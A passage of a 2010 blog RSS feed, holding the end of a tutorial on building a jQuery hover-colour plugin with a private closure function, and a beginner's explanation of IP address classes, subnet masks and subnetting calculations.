<li>we store the current colors in some variables</li>
<li>then hovering, paint the element with the colors passed by the user</li>
<li>the second parameter of the &#8216;hover&#8217; function describes what to do when the mouse moves out: just revert to the original color combination.</li>
<li>NOTE we haven&#8217;t called &#8216;$(this)&#8217; hundreds of times; just once to assign the object to a variable to make the whole script faster.</li>
</ul>
<p>That&#8217;s it, our plugin is built. We can focus on soe improvement now.</p>
<h3>Closures</h3>
<p>An interesting thing to know and understand is <strong>closures</strong>.</p>
<p>Closures make it possible for the developer to create functions in the main namespace and keep them private (can be used by your plugin only) to avoid cluttering and backward compatibility.</p>
<p>We could then add a completely useless function to see how this all works.</p>
<pre><code>(function($) {
	jQuery.fn.paint = function (options) {
		var defaults = {
			fg: 'yellow',
			bg: 'blue'
		};

		var opts = jQuery.extend (defaults, options);

		return this.each (function () {
			var obj = $(this);

			var fg_old = obj.css ("color");
			var bg_old = obj.css ("background-color");

			obj.hover (function () {
				obj.css ("color", opts.fg).css ("background-color", opts.bg);
				showMessage (obj);
			}, function () {
				obj.css ("color", fg_old).css ("background-color", bg_old);
			});
		});
	};

	function showMessage ($obj) {
		alert ($obj.html ());
	};
})(jQuery)
</code></pre>
<p>The newly added function &#8216;showMessage&#8217; is only visible within the closures and, in this case, can only be accessed by our plugin methods.</p>
<h3>Final thoughts</h3>
<p>And here we are, with our simple yet nice plugin you can expand and improve adding support for many other third party plugins that offer this possibility.</p>
<p>You can download the final result from <a href="http://buup.mephir.com/wp-content/uploads/2010/06/example.zip">here</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://buup.mephir.com/read/how-to-create-your-own-jquery-plugin-from-scratch/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>On IP addresses, subnetting and more</title>
		<link>http://buup.mephir.com/read/on-ip-addresses-subnetting-and-more</link>
		<comments>http://buup.mephir.com/read/on-ip-addresses-subnetting-and-more#comments</comments>
		<pubDate>Tue, 29 Jun 2010 13:01:45 +0000</pubDate>
		<dc:creator>giulio</dc:creator>
				<category><![CDATA[Networks]]></category>
		<category><![CDATA[guide]]></category>
		<category><![CDATA[ip]]></category>
		<category><![CDATA[mask]]></category>
		<category><![CDATA[subnetting]]></category>

		<guid isPermaLink="false">http://buup.mephir.com/?p=23</guid>
		<description><![CDATA[Most of us have a private network at home and, when configuring it, we are always asked for a subnet mask. Whoa, what&#8217;s that? And what has a &#8220;mask&#8221; to do with my tiny network? Let&#8217;s start off with some definitions that should be common sense, bu who knows. For instance, everybody here knows what [...]]]></description>
			<content:encoded><![CDATA[<p>Most of us have a private network at home and, when configuring it, we are always asked for a <strong>subnet mask</strong>. Whoa, what&#8217;s that? And what has a &#8220;mask&#8221; to do with my tiny network?</p>
<p>Let&#8217;s start off with some definitions that should be common sense, bu who knows.<br />
For instance, everybody here knows what an <strong>IP address</strong> is, and even how a LAN works and what are the main problems we may encounter configuring one (if not, then Google is your friend!).</p>
<p>In a domestic setting, the subnet mask should always be set to the default 255.255.255.0 thus allowing 254 hosts to be connected altogether; in a slightly different reality (that is, a office or some other department), there&#8217;s the need for a more complicated and intelligent network configuration, as well as a huge number of hosts connected at the same time.</p>
<p>And here comes the subnetting thing.</p>
<p>You must know (hell, you already should, anyway) that a IP address is 32 bits (4 bytes, yay) long and made up of two components, a <strong>network potion</strong> and a <strong>host portion</strong>.<br />
The <em>network address</em> is used to identify the network and is common to all the hosts attached to the network; the <em>host address</em> is used to identify a specific host (or node) attached to the network.<br />
IP addresses are usually represented in dotted decimal notation, that is 4 octets in decimal format separated by decimal points.</p>
<p>Classes exist to split IP addresses into 6 major groups, based on their main use.</p>
<p><img class="aligncenter" title="IP classes" src="http://giulio.hewle.com/gstuff/ipcl.png" alt="" width="603" height="229" /></p>
<ul>
<li><strong>Class A</strong> – The first octet represents the network part, while the other three are used for the host portion; addresses whose first octet is between 1 and 126 are Class A addresses.</li>
<li><strong>Class B</strong> – The first two octets represent the network address, while the remaining two are for the host address; any address whose first octet is between 128 and 191 are Class B addresses.</li>
<li><strong>Class C </strong>– The first three octets denote the network address, and the last octet is the host portion; if the first octet ranges from 192 to 223 the address belongs to Class C.</li>
<li><strong>Class D</strong> – Multicast. Address that are part of this class have their first octet with values between 224 and 239.</li>
<li><strong>Class E</strong> – Reserved for future use. First octet ranges from 240 to 255</li>
</ul>
<p><strong>Note</strong> Class A addresses&#8217; first octet cannot be either 0 or 127 as these values are used respectively for host identification and loopback facilities.<br />
Also note the maximum amount of addresses available are (2E32)-2.</p>
<p><strong>Subnetting</strong> comes into play whenever we want to divide the network into smaller portions <em>called subnets</em>. This is done by <em>&#8220;borrowing&#8221;</em> bits from the host portion of the IP address enabling more efficient use of the network address.<br />
A subnet mask is thus useful to define which portion of the address is used as network identification and which part is the host address.</p>
<p>Every time a frame is delivered to a routing device, the latter does two things:</p>
<ol>
<li> logical AND between its own subnet mask and the destination address; and</li>
<li> logical AND between its own subnet mask and the source address.</li>
</ol>
<p>If the result of the two operations is the same, the hosts are part of the same network (router then forwards the frame); else the two hosts are on different networks and it&#8217;s time to apply some routing procedure to send the frame correctly.</p>
<p>Calculating the subnet mask required for a particular purpose (i.e. number of subnets) is all but difficult.<br />
Once defined the number of subnets desired <strong>N</strong> (say, 8) and identified the IP address class (say, Class C 192.168.100.x), the very first thing to do is finding how many bits are required to obtain N combinations (in our example, 3 &#8212; always choose the upper number if not a power of 2).<br />
Binary speaking, the subnet would be</p>
<pre>1111 1111.1111 1111.1111 1111.1110 0000</pre>
<p>thus equal to the decimal 255.255.255.224<br />
This is because we borrowed three bis from the host portion for subnetting.<br />
The maximum number of hosts per subnet will then be 2^(32-H)-2 where H is the number of bits of the subnet mask set high (in the example, we set high 27 bits, yielding 2^5 -2 thus 30 hosts per subnet).</p>
<p>At this point, IP addresses can also be written in the form X.X.X.X/H where X and H are respectively decimal values and the number of bit set high in the subnet mask.</p>
<p>For detailed subnet tables showing <strong>all possible ways a major network can be subnetted</strong> and, in each case, how many effective subnets and hosts are possible, see <a href="http://giulio.hewle.com/gstuff/subnetting.txt">Subnetting tables (TXT)</a></p>
]]></content:encoded>
			<wfw:commentRss>http://buup.mephir.com/read/on-ip-addresses-subnetting-and-more/feed</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
	</channel>
</rss>

<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Minified using disk
Page Caching using disk (enhanced) (user agent is rejected)

Served from: buup.mephir.com @ 2010-09-08 16:10:14 -->